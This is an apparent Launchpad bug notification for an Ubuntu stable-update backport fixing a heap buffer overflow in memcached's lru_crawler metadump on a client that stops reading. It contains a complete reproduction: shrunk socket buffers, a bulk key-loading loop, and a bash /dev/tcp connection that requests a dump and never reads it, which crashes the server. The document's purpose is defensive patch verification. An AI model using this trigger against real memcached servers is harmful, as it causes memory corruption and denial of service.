** Description changed:
[Impact]
memcached's LRU crawler dump path (`lru_crawler metadump all` /
`mgdump`, handled by `lru_crawler_write()` in `crawler.c`) treats a
`poll()` timeout on the client socket as a successful buffer flush:
- if (ret == 0) return 0;
+ if (ret == 0) return 0;
When a client starts a dump and then stops reading, the kernel socket
send buffer fills, `poll()` times out, and `lru_crawler_write()` returns
"success" to the crawler thread without draining the buffer and without
resetting `bufused`. The crawler thread believes the buffer was flushed
and keeps appending crawler output at `c->buf + c->bufused`, past the
end of the fixed 128 KiB heap buffer allocated in
`lru_crawler_set_client()`. This is an out-of-bounds heap write (memory
corruption) that crashes the server (denial of service).
A secondary defect increments the unsigned `sent` counter on a mis-
placed line, so a persistent `EAGAIN` (`write()` returning -1)
underflows it and makes the next `data_size - sent` huge.
On Ubuntu's default `/etc/memcached.conf` (`-l 127.0.0.1`) the trigger is
local; instances bound to a routable address (`-l 0.0.0.0`) are exposed to any
client
that can issue a crawler dump. No authentication is required to run
`lru_crawler metadump` on a default (non-SASL) instance.
Fixed upstream in 1.6.44 (release notes call it "another security
release").
[Test Plan]
Reproduced and fix-verified in a clean noble LXD container with an
AddressSanitizer build of the exact archive source.
- All steps are plain CLI (awk, nc, bash /dev/tcp).
-
Build:
- pull-lp-source memcached noble
- cd memcached-1.6.24
- autoreconf -fi
- CFLAGS="-fsanitize=address -g -O1 -fno-omit-frame-pointer"
LDFLAGS="-fsanitize=address" ./configure
- make -j$(nproc) memcached
+ All steps are plain CLI (awk, nc, bash /dev/tcp).
+
Build:
+ pull-lp-source memcached noble
+ cd memcached-1.6.24
+ autoreconf -fi
+ CFLAGS="-fsanitize=address -g -O1 -fno-omit-frame-pointer"
LDFLAGS="-fsanitize=address" ./configure
+ make -j$(nproc) memcached
Reproduce (unpatched):
1. Shrink the socket buffers so a non-reading client stalls promptly:
- sysctl -w net.ipv4.tcp_wmem="4096 16384 65536"
- sysctl -w net.core.wmem_max=65536
- sysctl -w net.ipv4.tcp_rmem="4096 8192 16384"
+ sysctl -w net.ipv4.tcp_wmem="4096 16384 65536"
+ sysctl -w net.core.wmem_max=65536
+ sysctl -w net.ipv4.tcp_rmem="4096 8192 16384"
2. Start the server under AddressSanitizer:
- ASAN_OPTIONS=abort_on_error=1:halt_on_error=1 ./memcached -l 127.0.0.1
+ ASAN_OPTIONS=abort_on_error=1:halt_on_error=1 ./memcached -l 127.0.0.1
-p 11211 -m 2048 -u nobody -t 2
3. Store ~300000 keys so a full metadump (~22 MB) far exceeds the kernel
buffers:
- awk 'BEGIN{
- v=sprintf("%120s",""); gsub(/ /,"x",v);
- for(i=1;i<=300000;i++) printf "set k%d 0 0 120 noreply\r\n%s\r\n", i, v;
- printf "get k1\r\n";
- }' | nc -q2 127.0.0.1 11211
+ awk 'BEGIN{
+ v=sprintf("%120s",""); gsub(/ /,"x",v);
+ for(i=1;i<=300000;i++) printf "set k%d 0 0 120 noreply\r\n%s\r\n", i, v;
+ printf "get k1\r\n";
+ }' | nc -q2 127.0.0.1 11211
- Confirm they landed:
+ Confirm they landed:
- printf 'stats\r\n' | nc -q1 127.0.0.1 11211 | grep curr_items #
+ printf 'stats\r\n' | nc -q1 127.0.0.1 11211 | grep curr_items #
300000
4. Open one connection that requests the dump and never reads it.
- nc auto-drains the socket, so use bash /dev/tcp and only write to the fd:
+ nc auto-drains the socket, so use bash /dev/tcp and only write to the fd:
- exec 3<>/dev/tcp/127.0.0.1/11211
- printf 'lru_crawler enable\r\n' >&3
- sleep 0.3
- printf 'lru_crawler metadump all\r\n' >&3
- sleep 600 # never read fd 3
- exec 3<&- 3>&-
+ exec 3<>/dev/tcp/127.0.0.1/11211
+ printf 'lru_crawler enable\r\n' >&3
+ sleep 0.3
+ printf 'lru_crawler metadump all\r\n' >&3
+ sleep 600 # never read fd 3
+ exec 3<&- 3>&-
5. After the send buffer fills, each 1000 ms poll timeout lets the crawler
append ~1 item, so the 128 KiB buffer overruns after a minute or two.
- AddressSanitizer aborts with:
+ AddressSanitizer aborts with:
- ERROR: AddressSanitizer: heap-buffer-overflow ... WRITE of size 73
- #3 crawler_metadump_eval crawler.c:275 (snprintf)
- #4 item_crawler_thread crawler.c:555
- allocated by lru_crawler_set_client crawler.c:707
+ ERROR: AddressSanitizer: heap-buffer-overflow ... WRITE of size 73
+ #3 crawler_metadump_eval crawler.c:275 (snprintf)
+ #4 item_crawler_thread crawler.c:555
+ allocated by lru_crawler_set_client crawler.c:707
- The full ASAN report from the reference run is saved as
asan-unpatched-overflow.log.
- A stock (non-ASAN) build instead gives SIGSEGV / malloc(): corrupted.
+ The full ASAN report from the reference run is saved as
asan-unpatched-overflow.log.
+ A stock (non-ASAN) build instead gives SIGSEGV / malloc(): corrupted.
6. Apply the two patches, rebuild the same way, and repeat steps 2-4.
- The server stays up for the full run with no overflow and keeps serving
other clients:
+ The server stays up for the full run with no overflow and keeps serving
other clients:
- printf 'version\r\n' | nc -q1 127.0.0.1 11211 # VERSION 1.6.24
+ printf 'version\r\n' | nc -q1 127.0.0.1 11211 # VERSION 1.6.24
- Upstream now retries the timed-out client and disconnects it after
+ Upstream now retries the timed-out client and disconnects it after
~30 minutes instead of overrunning the buffer.
7. Run the upstream crawler test (t/lru-crawler.t) and confirm it still
passes.
-
[Where problems could occur]
The change is limited to lru_crawler_write() and two error handling paths in
item_crawler_thread() in crawler.c.
It is a direct upstream backport with no protocol, storage, or wire format
changes.
Regression risk is limited to LRU crawler dumps.
A slow or stalled dump client may now be disconnected after about 30 minutes
of socket write stalls.
An incorrect backport of the added lru_locks[i] locking could deadlock the
crawler thread.
[Other Info]
Upstream fix
"crawler: fix buffer overflow on idle client"
https://github.com/memcached/memcached/commit/7eeac6e9a9945aa68298aff379cea5ab3817af7c
"crawler: fix potential unlock of unlocked mutex"
https://github.com/memcached/memcached/commit/ea35f441f265b4aef3f7753aa5cbb87d99859123
** Description changed:
[Impact]
memcached's LRU crawler dump path (`lru_crawler metadump all` /
`mgdump`, handled by `lru_crawler_write()` in `crawler.c`) treats a
`poll()` timeout on the client socket as a successful buffer flush:
if (ret == 0) return 0;
When a client starts a dump and then stops reading, the kernel socket
send buffer fills, `poll()` times out, and `lru_crawler_write()` returns
"success" to the crawler thread without draining the buffer and without
resetting `bufused`. The crawler thread believes the buffer was flushed
and keeps appending crawler output at `c->buf + c->bufused`, past the
end of the fixed 128 KiB heap buffer allocated in
`lru_crawler_set_client()`. This is an out-of-bounds heap write (memory
corruption) that crashes the server (denial of service).
A secondary defect increments the unsigned `sent` counter on a mis-
placed line, so a persistent `EAGAIN` (`write()` returning -1)
underflows it and makes the next `data_size - sent` huge.
On Ubuntu's default `/etc/memcached.conf` (`-l 127.0.0.1`) the trigger is
local; instances bound to a routable address (`-l 0.0.0.0`) are exposed to any
client
that can issue a crawler dump. No authentication is required to run
`lru_crawler metadump` on a default (non-SASL) instance.
Fixed upstream in 1.6.44 (release notes call it "another security
release").
[Test Plan]
Reproduced and fix-verified in a clean noble LXD container with an
AddressSanitizer build of the exact archive source.
All steps are plain CLI (awk, nc, bash /dev/tcp).
-
Build:
+
+ Build:
+
pull-lp-source memcached noble
cd memcached-1.6.24
autoreconf -fi
CFLAGS="-fsanitize=address -g -O1 -fno-omit-frame-pointer"
LDFLAGS="-fsanitize=address" ./configure
make -j$(nproc) memcached
Reproduce (unpatched):
1. Shrink the socket buffers so a non-reading client stalls promptly:
sysctl -w net.ipv4.tcp_wmem="4096 16384 65536"
sysctl -w net.core.wmem_max=65536
sysctl -w net.ipv4.tcp_rmem="4096 8192 16384"
2. Start the server under AddressSanitizer:
ASAN_OPTIONS=abort_on_error=1:halt_on_error=1 ./memcached -l 127.0.0.1
-p 11211 -m 2048 -u nobody -t 2
3. Store ~300000 keys so a full metadump (~22 MB) far exceeds the kernel
buffers:
awk 'BEGIN{
v=sprintf("%120s",""); gsub(/ /,"x",v);
for(i=1;i<=300000;i++) printf "set k%d 0 0 120 noreply\r\n%s\r\n", i, v;
printf "get k1\r\n";
}' | nc -q2 127.0.0.1 11211
Confirm they landed:
printf 'stats\r\n' | nc -q1 127.0.0.1 11211 | grep curr_items #
300000
4. Open one connection that requests the dump and never reads it.
nc auto-drains the socket, so use bash /dev/tcp and only write to the fd:
exec 3<>/dev/tcp/127.0.0.1/11211
printf 'lru_crawler enable\r\n' >&3
sleep 0.3
printf 'lru_crawler metadump all\r\n' >&3
sleep 600 # never read fd 3
exec 3<&- 3>&-
5. After the send buffer fills, each 1000 ms poll timeout lets the crawler
append ~1 item, so the 128 KiB buffer overruns after a minute or two.
AddressSanitizer aborts with:
ERROR: AddressSanitizer: heap-buffer-overflow ... WRITE of size 73
#3 crawler_metadump_eval crawler.c:275 (snprintf)
#4 item_crawler_thread crawler.c:555
allocated by lru_crawler_set_client crawler.c:707
The full ASAN report from the reference run is saved as
asan-unpatched-overflow.log.
A stock (non-ASAN) build instead gives SIGSEGV / malloc(): corrupted.
6. Apply the two patches, rebuild the same way, and repeat steps 2-4.
The server stays up for the full run with no overflow and keeps serving
other clients:
printf 'version\r\n' | nc -q1 127.0.0.1 11211 # VERSION 1.6.24
Upstream now retries the timed-out client and disconnects it after
~30 minutes instead of overrunning the buffer.
7. Run the upstream crawler test (t/lru-crawler.t) and confirm it still
passes.
[Where problems could occur]
The change is limited to lru_crawler_write() and two error handling paths in
item_crawler_thread() in crawler.c.
It is a direct upstream backport with no protocol, storage, or wire format
changes.
Regression risk is limited to LRU crawler dumps.
A slow or stalled dump client may now be disconnected after about 30 minutes
of socket write stalls.
An incorrect backport of the added lru_locks[i] locking could deadlock the
crawler thread.
[Other Info]
Upstream fix
"crawler: fix buffer overflow on idle client"
https://github.com/memcached/memcached/commit/7eeac6e9a9945aa68298aff379cea5ab3817af7c
"crawler: fix potential unlock of unlocked mutex"
https://github.com/memcached/memcached/commit/ea35f441f265b4aef3f7753aa5cbb87d99859123
--
You received this bug notification because you are a member of Ubuntu
Bugs, which is subscribed to Ubuntu.
https://bugs.launchpad.net/bugs/2161693
Title:
memcached: heap buffer overflow in LRU crawler dump (lru_crawler
metadump) on an idle client
To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/memcached/+bug/2161693/+subscriptions
--
ubuntu-bugs mailing list
[email protected]
https://lists.ubuntu.com/mailman/listinfo/ubuntu-bugs
